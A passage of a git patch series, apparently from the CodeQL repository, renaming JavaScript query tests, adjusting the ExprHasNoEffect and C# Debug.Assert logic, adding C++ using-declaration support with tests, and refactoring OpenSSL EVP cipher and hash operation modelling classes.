b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js similarity index 100% rename from javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js rename to javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js From d2b8bd5760c61ea79cf27e1ee7e98981f09a8ad5 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 3 Jun 2025 15:10:34 +0200 Subject: [PATCH 139/271] C#: Remove explicit (trivial) type requirements on Debug.Assert methods. --- .../lib/semmle/code/csharp/frameworks/system/Diagnostics.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll index 14d7497ec33..b5c036fa9f4 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Diagnostics.qll @@ -41,9 +41,7 @@ class SystemDiagnosticsDebugClass extends SystemDiagnosticsClass { /** Gets an `Assert(bool, ...)` method. */ Method getAssertMethod() { result.getDeclaringType() = this and - result.hasName("Assert") and - result.getParameter(0).getType() instanceof BoolType and - result.getReturnType() instanceof VoidType + result.hasName("Assert") } } From bf48b5987478f6bd4fce36e71e8eca06fc8ccb82 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 2 Jun 2025 17:35:23 +0200 Subject: [PATCH 140/271] JS: Removed exclusion of `FunctionExpr` from compound statements. --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 3 +-- .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 1 - .../test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js | 4 ++-- 3 files changed, 3 insertions(+), 5 deletions(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index 611e1aa0c3e..154be3b606b 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -139,8 +139,7 @@ predicate isCompoundExpression(Expr e) { or e instanceof SeqExpr or - e instanceof ParExpr and - not e.stripParens() instanceof FunctionExpr + e instanceof ParExpr } /** diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index a3fd6e31641..3862c062abf 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -12,4 +12,3 @@ | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | -| uselessfn.js:1:1:1:26 | (functi ... .");\\n}) | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js index 341644bf649..309a5915bf1 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js @@ -1,3 +1,3 @@ -(function f() { // $ Alert +(function f() { // $MISSING: Alert console.log("I'm never called."); -}) \ No newline at end of file +}) From 46b5ded862219e3ea9ca2353653495fc3d92a26a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 15:20:55 +0200 Subject: [PATCH 141/271] JS: Enhance void context propagation --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 3 +++ .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 2 ++ .../ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js | 2 +- .../test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index 154be3b606b..d25973a90c8 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -22,6 +22,9 @@ predicate inVoidContext(Expr e) { ) ) or + // propagate void context through parenthesized expressions + inVoidContext(e.getParent().(ParExpr)) + or exists(SeqExpr seq, int i, int n | e = seq.getOperand(i) and n = seq.getNumOperands() diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 3862c062abf..6afcd36bc5c 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -11,4 +11,6 @@ | tst.js:49:3:49:49 | new Syn ... o me?") | This expression has no effect. | | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | +| tst.js:75:3:75:3 | o | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | +| uselessfn.js:1:2:1:26 | functio ... d.");\\n} | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js index a91759e553f..7fd3fe0d7ed 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js @@ -72,7 +72,7 @@ function g() { Object.defineProperty(o, "nonTrivialGetter2", unknownGetterDef()); o.nonTrivialGetter2; - (o: empty); + (o: empty); // $SPURIOUS:Alert testSomeCondition() ? o : // $ Alert doSomethingDangerous(); diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js index 309a5915bf1..e47a25458d4 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js @@ -1,3 +1,3 @@ -(function f() { // $MISSING: Alert +(function f() { // $ Alert console.log("I'm never called."); }) From aac56e089a009ddf979c16844c468785e1f65955 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 3 Jun 2025 15:26:22 +0200 Subject: [PATCH 142/271] JavaScript: Fix false positive on Flow type annotations in `ExprHasNoEffect` --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 5 ++++- .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 1 - .../ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index d25973a90c8..d7744bc2136 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -174,7 +174,10 @@ predicate hasNoEffect(Expr e) { not exists(fe.getName()) ) and // exclude block-level flow type annotations. For example: `(name: empty)`. - not e.(ParExpr).getExpression().getLastToken().getNextToken().getValue() = ":" and + not exists(ParExpr parent | + e.getParent() = parent and + e.getLastToken().getNextToken().getValue() = ":" + ) and // exclude the first statement of a try block not e = any(TryStmt stmt).getBody().getStmt(0).(ExprStmt).getExpr() and // exclude expressions that are alone in a file, and file doesn't contain a function. diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 6afcd36bc5c..f1beafe0037 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -11,6 +11,5 @@ | tst.js:49:3:49:49 | new Syn ... o me?") | This expression has no effect. | | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | -| tst.js:75:3:75:3 | o | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | | uselessfn.js:1:2:1:26 | functio ... d.");\\n} | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js index 7fd3fe0d7ed..a91759e553f 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js @@ -72,7 +72,7 @@ function g() { Object.defineProperty(o, "nonTrivialGetter2", unknownGetterDef()); o.nonTrivialGetter2; - (o: empty); // $SPURIOUS:Alert + (o: empty); testSomeCondition() ? o : // $ Alert doSomethingDangerous(); From e31f722d76900fecff79b31400206d5d2cb6ee5c Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 28 May 2025 06:55:18 +0200 Subject: [PATCH 143/271] C++: Add support for getting referenced literals in using declarations --- cpp/ql/lib/semmle/code/cpp/Namespace.qll | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/Namespace.qll b/cpp/ql/lib/semmle/code/cpp/Namespace.qll index 2e75a783c14..dc138f67524 100644 --- a/cpp/ql/lib/semmle/code/cpp/Namespace.qll +++ b/cpp/ql/lib/semmle/code/cpp/Namespace.qll @@ -174,7 +174,27 @@ class UsingDeclarationEntry extends UsingEntry { */ Declaration getDeclaration() { usings(underlyingElement(this), unresolveElement(result), _, _) } - override string toString() { result = "using " + this.getDeclaration().getDescription() } + /** + * Gets the member that is referenced by this using declaration, where the member depends on a + * type template parameter. + * + * For example: + * ``` + * template + * class A { + * using T::m; + * }; + * ``` + * Here, `getReferencedMember()` yields the member `m` of `T`. Observe that, + * as `T` is not instantiated, `m` is represented by a `Literal` and not + * a `Declaration`. + */ + Literal getReferencedMember() { usings(underlyingElement(this), unresolveElement(result), _, _) } + + override string toString() { + result = "using " + this.getDeclaration().getDescription() or + result = "using " + this.getReferencedMember() + } } /** From 4fd44e96baef2040340432b3de71f3b4eca6852d Mon Sep 17 00:00:00 2001 From: idrissrio Date: Mon, 2 Jun 2025 09:02:54 +0200 Subject: [PATCH 144/271] C++: add test for `getReferencedMember` --- .../comments/binding/commentBinding.expected | 3 +++ .../library-tests/comments/binding/templates.cpp | 15 +++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected index be0290274f0..e2418f7707c 100644 --- a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected +++ b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected @@ -9,3 +9,6 @@ | multi.c:5:27:5:36 | // Multi 3 | declaration of multi3 | | templates.cpp:3:3:3:8 | // Foo | declaration of foo | | templates.cpp:7:3:7:8 | // Bar | definition of bar | +| templates.cpp:16:3:16:20 | // using T::member | using member | +| templates.cpp:19:3:19:28 | // using T::nested::member | using member | +| templates.cpp:25:3:25:20 | // using T::member | using member | diff --git a/cpp/ql/test/library-tests/comments/binding/templates.cpp b/cpp/ql/test/library-tests/comments/binding/templates.cpp index 2c76db6a915..83d2947d952 100644 --- a/cpp/ql/test/library-tests/comments/binding/templates.cpp +++ b/cpp/ql/test/library-tests/comments/binding/templates.cpp @@ -10,3 +10,18 @@ class Cl { } }; + +template +class Derived : public T { + // using T::member + using T::member; + + // using T::nested::member + using T::nested::member; +}; + +template +class Base { + // using T::member + using T::member; +}; \ No newline at end of file From 10fb8066014b5a58da7478011a10917d7382d57a Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 28 May 2025 14:37:56 +0200 Subject: [PATCH 145/271] C++: add change note for using declarations --- cpp/ql/lib/change-notes/2025-05-28-using-template.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-28-using-template.md diff --git a/cpp/ql/lib/change-notes/2025-05-28-using-template.md b/cpp/ql/lib/change-notes/2025-05-28-using-template.md new file mode 100644 index 00000000000..7c13e1ae0ee --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-28-using-template.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. From 6d1b1d1a6e09fd53712728a7a49805b0850262ac Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Fri, 23 May 2025 18:09:39 +0200 Subject: [PATCH 146/271] refactor EVP common classes add initial work for openssl signatures add basic C test files for ciphers and signatures more signature classes, comments for evp base classes more signature tests fix super calls for input consumers fix getOutputArtifact for tests formatting delete redundant test files move algorithm methods to OpenSSLOperation refactor ECKeyGenOperation for new EVP classes formatting fix getOutputArtifact fix cipher and digest operation test results mv openssl signature to another PR --- .../OpenSSL/Operations/ECKeyGenOperation.qll | 31 +--- .../Operations/EVPCipherInitializer.qll | 14 +- .../OpenSSL/Operations/EVPCipherOperation.qll | 89 ++-------- .../OpenSSL/Operations/EVPHashInitializer.qll | 7 +- .../OpenSSL/Operations/EVPHashOperation.qll | 100 ++++-------- .../Operations/OpenSSLOperationBase.qll | 152 +++++++++++++++++- .../OpenSSL/Operations/OpenSSLOperations.qll | 1 + .../openssl/cipher_operations.expected | 16 +- .../quantum/openssl/hash_operations.expected | 4 +- 9 files changed, 209 insertions(+), 205 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll index 4f07ecc0f9e..40103569cac 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -4,42 +4,15 @@ private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers private import semmle.code.cpp.dataflow.new.DataFlow -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } - - predicate isSink(DataFlow::Node sink) { - exists(ECKeyGenOperation c | c.getAlgorithmArg() = sink.asExpr()) - } -} - -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" } - override Expr getOutputArg() { - result = this.(Call) // return value of call - } - - Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } - - override Expr getInputArg() { - // there is no 'input', in the sense that no data is being manipulated by the operation. - // There is an input of an algorithm, but that is not the intention of the operation input arg. - none() - } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() } override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() { - result = this.getOutputNode() - } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) + result.asExpr() = this.(Call).getArgument(0) } override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll index 353a89645ec..e6e9954a333 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll @@ -5,6 +5,7 @@ private import experimental.quantum.Language private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase module EncValToInitEncArgConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] } @@ -34,19 +35,12 @@ Crypto::KeyOperationSubtype intToCipherOperationSubtype(int i) { } // TODO: need to add key consumer -abstract class EVP_Cipher_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } +abstract class EVP_Cipher_Initializer extends EVPInitialize { + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - - abstract Expr getKeyArg(); - - abstract Expr getIVArg(); - - // abstract Crypto::CipherOperationSubtype getCipherOperationSubtype(); abstract Expr getOperationSubtypeArg(); - Crypto::KeyOperationSubtype getCipherOperationSubtype() { + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if this.(Call).getTarget().getName().toLowerCase().matches("%encrypt%") then result instanceof Crypto::TEncryptMode else diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index 233bfd50433..fb06543ee5b 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -4,36 +4,21 @@ private import EVPCipherInitializer private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) +class EVP_Cipher_Update_Call extends EVPUpdate { + EVP_Cipher_Update_Call() { + this.(Call).getTarget().getName() in [ + "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" + ] } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } + override Expr getInputArg() { result = this.(Call).getArgument(3) } } -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - -// import experimental.quantum.OpenSSL.AlgorithmValueConsumers.AlgorithmValueConsumers -// import OpenSSLOperation -// class EVPCipherOutput extends CipherOutputArtifact { -// EVPCipherOutput() { exists(EVP_Cipher_Operation op | op.getOutputArg() = this) } -// override DataFlow::Node getOutputNode() { result.asDefiningArgument() = this } -// } -// /** * see: https://docs.openssl.org/master/man3/EVP_EncryptInit/#synopsis * Base configuration for all EVP cipher operations. - * NOTE: cannot extend instance of OpenSSLOperation, as we need to override - * elements of OpenSSLOperation (i.e., we are creating an instance) */ -abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - Expr getAlgorithmArg() { this.getInitCall().getAlgorithmArg() = result } - +abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(1) } override Crypto::KeyOperationSubtype getKeyOperationSubtype() { @@ -43,81 +28,39 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati result instanceof Crypto::TDecryptMode and this.(Call).getTarget().getName().toLowerCase().matches("%decrypt%") or - result = this.getInitCall().getCipherOperationSubtype() and + result = this.getInitCall().getKeyOperationSubtype() and this.(Call).getTarget().getName().toLowerCase().matches("%cipher%") } - EVP_Cipher_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - override Crypto::ConsumerInputDataFlowNode getNonceConsumer() { this.getInitCall().getIVArg() = result.asExpr() } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Crypto::ConsumerInputDataFlowNode getKeyConsumer() { this.getInitCall().getKeyArg() = result.asExpr() + // todo: or track to the EVP_PKEY_CTX_new } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOperation.super.getOutputArtifact() + } - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOperation.super.getInputConsumer() } } -class EVP_Cipher_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOneShot, EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } } -// NOTE: not modeled as cipher operations, these are intermediate calls -class EVP_Cipher_Update_Call extends Call { - EVP_Cipher_Update_Call() { - this.(Call).getTarget().getName() in [ - "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" - ] - } - - Expr getInputArg() { result = this.(Call).getArgument(3) } - - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } - - Expr getContextArg() { result = this.(Call).getArgument(0) } -} - -class EVP_Cipher_Final_Call extends EVP_Cipher_Operation { +class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { EVP_Cipher_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", "EVP_DecryptFinal", "EVP_CipherFinal" ] } - - EVP_Cipher_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } -} - -class EVP_PKEY_Operation extends EVP_Cipher_Operation { - EVP_PKEY_Operation() { - this.(Call).getTarget().getName() in ["EVP_PKEY_decrypt", "EVP_PKEY_encrypt"] - } - - override Expr getInputArg() { result = this.(Call).getArgument(3) } - // TODO: how PKEY is initialized is different that symmetric cipher - // Consider making an entirely new class for this and specializing - // the get init call -} - -class EVPCipherInputArgument extends Expr { - EVPCipherInputArgument() { exists(EVP_Cipher_Operation op | op.getInputArg() = this) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll index 46d414ece6c..7309242f198 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll @@ -1,10 +1,7 @@ import cpp +private import OpenSSLOperationBase -abstract class EVP_Hash_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } - - abstract Expr getAlgorithmArg(); -} +abstract class EVP_Hash_Initializer extends EVPInitialize { } class EVP_DigestInit_Variant_Calls extends EVP_Hash_Initializer { EVP_DigestInit_Variant_Calls() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index c68ccd96084..2b798a96b7e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -8,118 +8,78 @@ private import OpenSSLOperationBase private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers -// import EVPHashConsumers -abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance { - Expr getContextArg() { result = this.(Call).getArgument(0) } +class EVP_Digest_Update_Call extends EVPUpdate { + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } - Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } - - EVP_Hash_Initializer getInitCall() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - /** - * By default, the algorithm value comes from the init call. - * There are variants where this isn't true, in which case the - * subclass should override this method. - */ - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), - DataFlow::exprNode(this.getAlgorithmArg())) - } + override Expr getInputArg() { result = this.(Call).getArgument(1) } } -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) - } - - predicate isSink(DataFlow::Node sink) { - exists(EVP_Hash_Operation c | c.getAlgorithmArg() = sink.asExpr()) - } -} - -private module AlgGetterToAlgConsumerFlow = DataFlow::Global; - //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVP_Hash_Operation { +class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } - //override Crypto::AlgorithmConsumer getAlgorithmConsumer() { } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Expr getInputArg() { result = this.(Call).getArgument(3) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Expr getOutputArg() { result = this.(Call).getArgument(5) } - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - - override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { - // The operation is a direct algorithm consumer - // NOTE: the operation itself is already modeld as a value consumer, so we can - // simply return 'this', see modeled hash algorithm consuers for EVP_Q_Digest - this = result + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOneShot.super.getOutputArtifact() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOneShot.super.getInputConsumer() + } } -class EVP_Digest_Operation extends EVP_Hash_Operation { +class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function override Expr getContextArg() { none() } + override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } + override EVP_Hash_Initializer getInitCall() { // This variant of digest does not use an init // and even if it were used, the init would be ignored/undefined none() } - override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) } + override Expr getInputArg() { result = this.(Call).getArgument(0) } override Expr getOutputArg() { result = this.(Call).getArgument(2) } - override Expr getInputArg() { result = this.(Call).getArgument(0) } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPOneShot.super.getOutputArtifact() + } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPOneShot.super.getInputConsumer() + } } -// NOTE: not modeled as hash operations, these are intermediate calls -class EVP_Digest_Update_Call extends Call { - EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } - - 